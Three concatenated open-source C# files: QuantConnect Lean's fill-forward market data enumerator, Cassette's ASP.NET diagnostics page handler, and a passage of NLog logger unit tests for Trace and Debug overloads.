* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using NodaTime;
using QuantConnect.Data;
using QuantConnect.Data.Market;
using QuantConnect.Logging;
using QuantConnect.Securities;
using QuantConnect.Util;
namespace QuantConnect.Lean.Engine.DataFeeds.Enumerators
{
/// <summary>
/// The FillForwardEnumerator wraps an existing base data enumerator and inserts extra 'base data' instances
/// on a specified fill forward resolution
/// </summary>
public class FillForwardEnumerator : IEnumerator<BaseData>
{
private DateTime? _delistedTime;
private BaseData _previous;
private bool _ended;
private bool _isFillingForward;
private readonly TimeSpan _dataResolution;
private readonly DateTimeZone _dataTimeZone;
private readonly bool _isExtendedMarketHours;
private readonly DateTime _subscriptionEndTime;
private readonly DateTime _subscriptionEndTimeRoundDownByDataResolution;
private readonly IEnumerator<BaseData> _enumerator;
private readonly IReadOnlyRef<TimeSpan> _fillForwardResolution;
/// <summary>
/// The exchange used to determine when to insert fill forward data
/// </summary>
protected readonly SecurityExchange Exchange;
/// <summary>
/// Initializes a new instance of the <see cref="FillForwardEnumerator"/> class that accepts
/// a reference to the fill forward resolution, useful if the fill forward resolution is dynamic
/// and changing as the enumeration progresses
/// </summary>
/// <param name="enumerator">The source enumerator to be filled forward</param>
/// <param name="exchange">The exchange used to determine when to insert fill forward data</param>
/// <param name="fillForwardResolution">The resolution we'd like to receive data on</param>
/// <param name="isExtendedMarketHours">True to use the exchange's extended market hours, false to use the regular market hours</param>
/// <param name="subscriptionEndTime">The end time of the subscrition, once passing this date the enumerator will stop</param>
/// <param name="dataResolution">The source enumerator's data resolution</param>
/// <param name="dataTimeZone">The time zone of the underlying source data. This is used for rounding calculations and
/// is NOT the time zone on the BaseData instances (unless of course data time zone equals the exchange time zone)</param>
public FillForwardEnumerator(IEnumerator<BaseData> enumerator,
SecurityExchange exchange,
IReadOnlyRef<TimeSpan> fillForwardResolution,
bool isExtendedMarketHours,
DateTime subscriptionEndTime,
TimeSpan dataResolution,
DateTimeZone dataTimeZone
)
{
_subscriptionEndTime = subscriptionEndTime;
Exchange = exchange;
_enumerator = enumerator;
_dataResolution = dataResolution;
_dataTimeZone = dataTimeZone;
_fillForwardResolution = fillForwardResolution;
_isExtendedMarketHours = isExtendedMarketHours;
// '_dataResolution' and '_subscriptionEndTime' are readonly they won't change, so lets calculate this once here since it's expensive
_subscriptionEndTimeRoundDownByDataResolution = RoundDown(_subscriptionEndTime, _dataResolution);
}
/// <summary>
/// Gets the element in the collection at the current position of the enumerator.
/// </summary>
/// <returns>
/// The element in the collection at the current position of the enumerator.
/// </returns>
public BaseData Current
{
get;
private set;
}
/// <summary>
/// Gets the current element in the collection.
/// </summary>
/// <returns>
/// The current element in the collection.
/// </returns>
/// <filterpriority>2</filterpriority>
object IEnumerator.Current => Current;
/// <summary>
/// Advances the enumerator to the next element of the collection.
/// </summary>
/// <returns>
/// true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection.
/// </returns>
/// <exception cref="T:System.InvalidOperationException">The collection was modified after the enumerator was created. </exception><filterpriority>2</filterpriority>
public bool MoveNext()
{
if (_delistedTime.HasValue)
{
// don't fill forward after data after the delisted date
if (_previous == null || _previous.EndTime >= _delistedTime.Value)
{
return false;
}
}
if (Current != null && Current.DataType != MarketDataType.Auxiliary)
{
// only set the _previous if the last item we emitted was NOT auxilliary data,
// since _previous is used for fill forward behavior
_previous = Current;
}
BaseData fillForward;
if (!_isFillingForward)
{
// if we're filling forward we don't need to move next since we haven't emitted _enumerator.Current yet
if (!_enumerator.MoveNext())
{
_ended = true;
if (_delistedTime.HasValue)
{
// don't fill forward delisted data
return false;
}
// check to see if we ran out of data before the end of the subscription
if (_previous == null || _previous.EndTime >= _subscriptionEndTime)
{
// we passed the end of subscription, we're finished
return false;
}
// we can fill forward the rest of this subscription if required
var endOfSubscription = (Current ?? _previous).Clone(true);
endOfSubscription.Time = _subscriptionEndTimeRoundDownByDataResolution;
endOfSubscription.EndTime = endOfSubscription.Time + _dataResolution;
if (RequiresFillForwardData(_fillForwardResolution.Value, _previous, endOfSubscription, out fillForward))
{
// don't mark as filling forward so we come back into this block, subscription is done
//_isFillingForward = true;
Current = fillForward;
return true;
}
// don't emit the last bar if the market isn't considered open!
if (!Exchange.IsOpenDuringBar(endOfSubscription.Time, endOfSubscription.EndTime, _isExtendedMarketHours))
{
return false;
}
Current = endOfSubscription;
return true;
}
}
// If we are filling forward and the underlying is null, let's MoveNext() as long as it didn't end.
// This only applies for live trading, so that the LiveFillForwardEnumerator does not stall whenever
// we generate a fill-forward bar. The underlying enumerator is advanced so that we don't get stuck
// in a cycle of generating infinite fill-forward bars.
else if (_enumerator.Current == null && !_ended)
{
_ended = _enumerator.MoveNext();
}
var underlyingCurrent = _enumerator.Current;
if (_previous == null)
{
// first data point we dutifully emit without modification
Current = underlyingCurrent;
return true;
}
if (underlyingCurrent != null && underlyingCurrent.DataType == MarketDataType.Auxiliary)
{
var delisting = underlyingCurrent as Delisting;
if (delisting?.Type == DelistingType.Delisted)
{
_delistedTime = delisting.EndTime;
}
}
if (RequiresFillForwardData(_fillForwardResolution.Value, _previous, underlyingCurrent, out fillForward))
{
// we require fill forward data because the _enumerator.Current is too far in future
_isFillingForward = true;
Current = fillForward;
return true;
}
_isFillingForward = false;
Current = underlyingCurrent;
return true;
}
/// <summary>
/// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
/// </summary>
/// <filterpriority>2</filterpriority>
public void Dispose()
{
_enumerator.Dispose();
}
/// <summary>
/// Sets the enumerator to its initial position, which is before the first element in the collection.
/// </summary>
/// <exception cref="T:System.InvalidOperationException">The collection was modified after the enumerator was created. </exception><filterpriority>2</filterpriority>
public void Reset()
{
_enumerator.Reset();
}
/// <summary>
/// Determines whether or not fill forward is required, and if true, will produce the new fill forward data
/// </summary>
/// <param name="fillForwardResolution"></param>
/// <param name="previous">The last piece of data emitted by this enumerator</param>
/// <param name="next">The next piece of data on the source enumerator</param>
/// <param name="fillForward">When this function returns true, this will have a non-null value, null when the function returns false</param>
/// <returns>True when a new fill forward piece of data was produced and should be emitted by this enumerator</returns>
protected virtual bool RequiresFillForwardData(TimeSpan fillForwardResolution, BaseData previous, BaseData next, out BaseData fillForward)
{
// convert times to UTC for accurate comparisons and differences across DST changes
var previousTimeUtc = previous.Time.ConvertToUtc(Exchange.TimeZone);
var nextTimeUtc = next.Time.ConvertToUtc(Exchange.TimeZone);
var nextEndTimeUtc = next.EndTime.ConvertToUtc(Exchange.TimeZone);
if (nextEndTimeUtc < previousTimeUtc)
{
Log.Error("FillForwardEnumerator received data out of order. Symbol: " + previous.Symbol.ID);
fillForward = null;
return false;
}
// check to see if the gap between previous and next warrants fill forward behavior
var nextPreviousTimeUtcDelta = nextTimeUtc - previousTimeUtc;
if (nextPreviousTimeUtcDelta <= fillForwardResolution && nextPreviousTimeUtcDelta <= _dataResolution)
{
fillForward = null;
return false;
}
// every bar emitted MUST be of the data resolution.
// compute end times of the four potential fill forward scenarios
// 1. the next fill forward bar. 09:00-10:00 followed by 10:00-11:00 where 01:00 is the fill forward resolution
// 2. the next data resolution bar, same as above but with the data resolution instead
// 3. the next fill forward bar following the next market open, 15:00-16:00 followed by 09:00-10:00 the following open market day
// 4. the next data resolution bar following the next market open, same as above but with the data resolution instead
// the precedence for validation is based on the order of the end times, obviously if a potential match
// is before a later match, the earliest match should win.
foreach (var item in GetSortedReferenceDateIntervals(previous, fillForwardResolution, _dataResolution))
{
// issue GH 4925 , more description https://github.com/QuantConnect/Lean/pull/4941
// To build Time/EndTime we always use '+'/'-' dataResolution
// DataTime TZ = UTC -5; Exchange TZ = America/New York (-5/-4)
// Standard TimeZone 00:00:00 + 1 day = 1.00:00:00
// Daylight Time 01:00:00 + 1 day = 1.01:00:00
// daylight saving time starts/end at 2 a.m. on Sunday
// Having this information we find that the specific bar of Sunday
// Starts in one TZ (Standard TZ), but finishes in another (Daylight TZ) (consider winter => summer)
// During simple arithmetic operations like +/- we shift the time, but not the time zone
// which is sensitive for specific dates (daylight movement) if we are in Exchange TimeZone, for example
// We have 00:00:00 + 1 day = 1.00:00:00, so both are in Standard TZ, but we expect endTime in Daylight, i.e. 1.01:00:00
// futher down double Convert (Exchange TZ => data TZ => Exchange TZ)
// allows us to calculate Time using it's own TZ (aka reapply)
// and don't rely on TZ of bar start/end time
// i.e. 00:00:00 + 1 day = 1.01:00:00, both start and end are in their own TZ
// it's interesting that NodaTime consider next
// if time great or equal than 01:00 AM it's considered as "moved" (Standard, not Daylight)
// when time less than 01:00 AM it's considered as previous TZ (Standard, not Daylight)
// it's easy to fix this behavior by substract 1 tick before first convert, and then return it back.
// so we work with 0:59:59.. AM instead.
// but now follow native behavior
// all above means, that all Time values, calculated using simple +/- operations
// sticks to original Time Zone, swallowing its own TZ and movement i.e.
// EndTime = Time + resolution, both Time and EndTime in the TZ of Time (Standard/Daylight)
// Time = EndTime - resolution, both Time and EndTime in the TZ of EndTime (Standard/Daylight)
// next.EndTime sticks to Time TZ,
// potentialBarEndTime should be calculated in the same way as bar.EndTime, i.e. Time + resolution
var potentialBarEndTime = RoundDown(item.ReferenceDateTime, item.Interval).ConvertToUtc(Exchange.TimeZone) + item.Interval;
var period = _dataResolution;
if (next.Time == next.EndTime)
{
// we merge corporate event data points (mapping, delisting, splits, dividend) which do not have
// a period or resolution
period = TimeSpan.Zero;
}
// to avoid duality it's necessary to compare potentialBarEndTime with
// next.EndTime calculated as Time + resolution,
// and both should be based on the same TZ (for example UTC)
var nextEndTimeUTC = next.Time.ConvertToUtc(Exchange.TimeZone) + period;
if (potentialBarEndTime < nextEndTimeUTC
// let's fill forward based on previous (which isn't auxiliary) if next is auxiliary and they share the end time
// we do allow emitting both an auxiliary data point and a Filled Forwared data for the same end time
|| next.DataType == MarketDataType.Auxiliary && potentialBarEndTime == nextEndTimeUTC)
{
// to check open hours we need to convert potential
// bar EndTime into exchange time zone
var potentialBarEndTimeInExchangeTZ =
potentialBarEndTime.ConvertFromUtc(Exchange.TimeZone);
var nextFillForwardBarStartTime = potentialBarEndTimeInExchangeTZ - item.Interval;
if (Exchange.IsOpenDuringBar(nextFillForwardBarStartTime, potentialBarEndTimeInExchangeTZ, _isExtendedMarketHours))
{
fillForward = previous.Clone(true);
// bar are ALWAYS of the data resolution
fillForward.Time = (potentialBarEndTime - _dataResolution).ConvertFromUtc(Exchange.TimeZone);
fillForward.EndTime = potentialBarEndTimeInExchangeTZ;
return true;
}
}
else
{
break;
}
}
// the next is before the next fill forward time, so do nothing
fillForward = null;
return false;
}
private IEnumerable<ReferenceDateInterval> GetSortedReferenceDateIntervals(BaseData previous, TimeSpan fillForwardResolution, TimeSpan dataResolution)
{
if (fillForwardResolution < dataResolution)
{
return GetReferenceDateIntervals(previous.EndTime, fillForwardResolution, dataResolution);
}
if (fillForwardResolution > dataResolution)
{
return GetReferenceDateIntervals(previous.EndTime, dataResolution, fillForwardResolution);
}
return GetReferenceDateIntervals(previous.EndTime, fillForwardResolution);
}
/// <summary>
/// Get potential next fill forward bars.
/// </summary>
/// <remarks>Special case where fill forward resolution and data resolution are equal</remarks>
private IEnumerable<ReferenceDateInterval> GetReferenceDateIntervals(DateTime previousEndTime, TimeSpan resolution)
{
if (Exchange.IsOpenDuringBar(previousEndTime, previousEndTime + resolution, _isExtendedMarketHours))
{
// if next in market us it
yield return new ReferenceDateInterval(previousEndTime, resolution);
}
// now we can try the bar after next market open
var marketOpen = Exchange.Hours.GetNextMarketOpen(previousEndTime, _isExtendedMarketHours);
yield return new ReferenceDateInterval(marketOpen, resolution);
}
/// <summary>
/// Get potential next fill forward bars.
/// </summary>
private IEnumerable<ReferenceDateInterval> GetReferenceDateIntervals(DateTime previousEndTime, TimeSpan smallerResolution, TimeSpan largerResolution)
{
if (Exchange.IsOpenDuringBar(previousEndTime, previousEndTime + smallerResolution, _isExtendedMarketHours))
{
yield return new ReferenceDateInterval(previousEndTime, smallerResolution);
}
var result = new List<ReferenceDateInterval>(3);
// we need to round down because previous end time could be of the smaller resolution, in data TZ!
var start = RoundDown(previousEndTime, largerResolution);
if (Exchange.IsOpenDuringBar(start, start + largerResolution, _isExtendedMarketHours))
{
result.Add(new ReferenceDateInterval(start, largerResolution));
}
// this is typically daily data being filled forward on a higher resolution
// since the previous bar was not in market hours then we can just fast forward
// to the next market open
var marketOpen = Exchange.Hours.GetNextMarketOpen(previousEndTime, _isExtendedMarketHours);
result.Add(new ReferenceDateInterval(marketOpen, smallerResolution));
result.Add(new ReferenceDateInterval(marketOpen, largerResolution));
// we need to order them because they might not be in an incremental order and consumer expects them to be
foreach (var referenceDateInterval in result.OrderBy(interval => interval.ReferenceDateTime + interval.Interval))
{
yield return referenceDateInterval;
}
}
/// <summary>
/// We need to round down in data timezone.
/// For example GH issue 4392: Forex daily data, exchange tz time is 8PM, but time in data tz is 12AM
/// so rounding down on exchange tz will crop it, while rounding on data tz will return the same data point time.
/// Why are we even doing this? being able to determine the next valid data point for a resolution from a data point that might be in another resolution
/// </summary>
private DateTime RoundDown(DateTime value, TimeSpan interval)
{
return value.RoundDownInTimeZone(interval, Exchange.TimeZone, _dataTimeZone);
}
private class ReferenceDateInterval
{
public readonly DateTime ReferenceDateTime;
public readonly TimeSpan Interval;
public ReferenceDateInterval(DateTime referenceDateTime, TimeSpan interval)
{
ReferenceDateTime = referenceDateTime;
Interval = interval;
}
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Web;
using System.Web.Routing;
using Cassette.HtmlTemplates;
using Cassette.Scripts;
using Cassette.Stylesheets;
using Cassette.Views;
namespace Cassette.Aspnet
{
class DiagnosticRequestHandler : IDiagnosticRequestHandler
{
readonly RequestContext requestContext;
readonly BundleCollection bundles;
readonly CassetteSettings settings;
readonly IUrlGenerator urlGenerator;
readonly IBundleCacheRebuilder bundleCacheRebuilder;
public DiagnosticRequestHandler(RequestContext requestContext, BundleCollection bundles, CassetteSettings settings, IUrlGenerator urlGenerator, IBundleCacheRebuilder bundleCacheRebuilder)
{
this.requestContext = requestContext;
this.bundles = bundles;
this.settings = settings;
this.urlGenerator = urlGenerator;
this.bundleCacheRebuilder = bundleCacheRebuilder;
}
public void ProcessRequest()
{
var response = requestContext.HttpContext.Response;
var request = requestContext.HttpContext.Request;
if (!CanAccessHud(request))
{
response.StatusCode = (int) HttpStatusCode.NotFound;
throw new HttpException((int) HttpStatusCode.NotFound, "Not found");
}
if (request.HttpMethod.Equals("post", StringComparison.OrdinalIgnoreCase))
{
ProcessPost();
return;
}
Bundles.AddPageData("data", PageData());
Bundles.Reference("~/Cassette.Aspnet.Resources");
var html = Properties.Resources.hud;
html = html.Replace("$scripts$", Bundles.RenderScripts().ToHtmlString());
response.ContentType = "text/html";
response.Write(html);
}
void ProcessPost()
{
if (requestContext.HttpContext.Request.Form["action"] == "rebuild-cache")
{
bundleCacheRebuilder.RebuildCache();
}
}
bool CanAccessHud(HttpRequestBase request)
{
return request.IsLocal || settings.AllowRemoteDiagnostics;
}
object PageData()
{
using (bundles.GetReadLock())
{
var scripts = bundles.OfType<ScriptBundle>();
var stylesheets = bundles.OfType<StylesheetBundle>();
var htmlTemplates = bundles.OfType<HtmlTemplateBundle>();
var data = new
{
Scripts = scripts.Select(ScriptData),
Stylesheets = stylesheets.Select(StylesheetData),
HtmlTemplates = htmlTemplates.Select(HtmlTemplateData),
StartupTrace = CassetteHttpModule.StartUpTrace,
Cassette = new
{
Version = new AssemblyName(typeof(Bundle).Assembly.FullName).Version.ToString(),
CacheDirectory = GetCacheDirectory(settings),
SourceDirectory = GetSourceDirectory(settings),
settings.IsHtmlRewritingEnabled,
settings.IsDebuggingEnabled
}
};
return data;
}
}
static string GetSourceDirectory(CassetteSettings settings)
{
if (settings.SourceDirectory == null) return "(none)";
return settings.SourceDirectory.FullPath + " (" + settings.SourceDirectory.GetType().FullName + ")";
}
static string GetCacheDirectory(CassetteSettings settings)
{
if (settings.CacheDirectory == null) return "(none)";
return settings.CacheDirectory.FullPath + " (" + settings.CacheDirectory.GetType().FullName + ")";
}
object HtmlTemplateData(HtmlTemplateBundle htmlTemplate)
{
return new
{
htmlTemplate.Path,
Url = BundleUrl(htmlTemplate),
Assets = AssetPaths(htmlTemplate),
htmlTemplate.References,
Size = BundleSize(htmlTemplate)
};
}
object StylesheetData(StylesheetBundle stylesheet)
{
return new
{
stylesheet.Path,
Url = BundleUrl(stylesheet),
stylesheet.Media,
stylesheet.Condition,
Assets = AssetPaths(stylesheet),
stylesheet.References,
Size = BundleSize(stylesheet)
};
}
object ScriptData(ScriptBundle script)
{
return new
{
script.Path,
Url = BundleUrl(script),
script.Condition,
Assets = AssetPaths(script),
script.References,
Size = BundleSize(script)
};
}
string BundleUrl(Bundle bundle)
{
var external = bundle as IExternalBundle;
if (external == null)
{
return urlGenerator.CreateBundleUrl(bundle);
}
else
{
return external.ExternalUrl;
}
}
long BundleSize(Bundle bundle)
{
if (settings.IsDebuggingEnabled)
{
return -1;
}
if (bundle.Assets.Any())
{
using (var s = bundle.OpenStream())
{
return s.Length;
}
}
return -1;
}
IEnumerable<AssetLink> AssetPaths(Bundle bundle)
{
var generateUrls = settings.IsDebuggingEnabled;
var visitor = generateUrls ? new AssetLinkCreator(urlGenerator) : new AssetLinkCreator();
bundle.Accept(visitor);
return visitor.AssetLinks;
}
public bool IsReusable
{
get { return false; }
}
class AssetLinkCreator : IBundleVisitor
{
readonly IUrlGenerator urlGenerator;
readonly List<AssetLink> assetLinks = new List<AssetLink>();
string bundlePath;
public AssetLinkCreator(IUrlGenerator urlGenerator)
{
this.urlGenerator = urlGenerator;
}
public AssetLinkCreator()
{
}
public List<AssetLink> AssetLinks
{
get { return assetLinks; }
}
public void Visit(Bundle bundle)
{
bundlePath = bundle.Path;
}
public void Visit(IAsset asset)
{
var path = asset.Path;
if (path.Length > bundlePath.Length && path.StartsWith(bundlePath, StringComparison.OrdinalIgnoreCase))
{
path = path.Substring(bundlePath.Length + 1);
}
var url = urlGenerator != null ? urlGenerator.CreateAssetUrl(asset) : null;
AssetLinks.Add(new AssetLink { Path = path, Url = url });
}
}
class AssetLink
{
public string Path { get; set; }
public string Url { get; set; }
}
}
}
| |
//
// Copyright (c) 2004-2011 Jaroslaw Kowalski <jaak@jkowalski.net>
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Jaroslaw Kowalski nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
// THE POSSIBILITY OF SUCH DAMAGE.
//
namespace NLog.UnitTests
{
using System.Reflection;
using NLog.Targets;
using System;
using System.Globalization;
using NLog.Config;
#if ASYNC_SUPPORTED
using System.Threading.Tasks;
#endif
using Xunit;
using System.Threading;
public class LoggerTests : NLogTestBase
{
[Fact]
public void TraceTest()
{
// test all possible overloads of the Trace() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Trace' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Trace("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Trace("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Trace("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Trace("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Trace("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Trace("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Trace(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Trace("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Trace(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Trace("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Trace("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Trace(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
#pragma warning disable 0618
// Obsolete method requires testing until removed.
logger.TraceException("message", new Exception("test"));
if (enabled == 1) AssertDebugLastMessage("debug", "message");
#pragma warning restore 0618
logger.Trace(new Exception("test"), "message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Trace(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void DebugTest()
{
// test all possible overloads of the Debug() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Debug' writeTo='debug' />
</rules>
</nlog>");
}
ILogger logger = LogManager.GetLogger("A");
logger.Debug("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.Debug("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.Debug("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.Debug("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.Debug("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.Debug("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.Debug(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.Debug("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.Debug(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.Debug("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.Debug("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.Debug(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
#pragma warning disable 0618
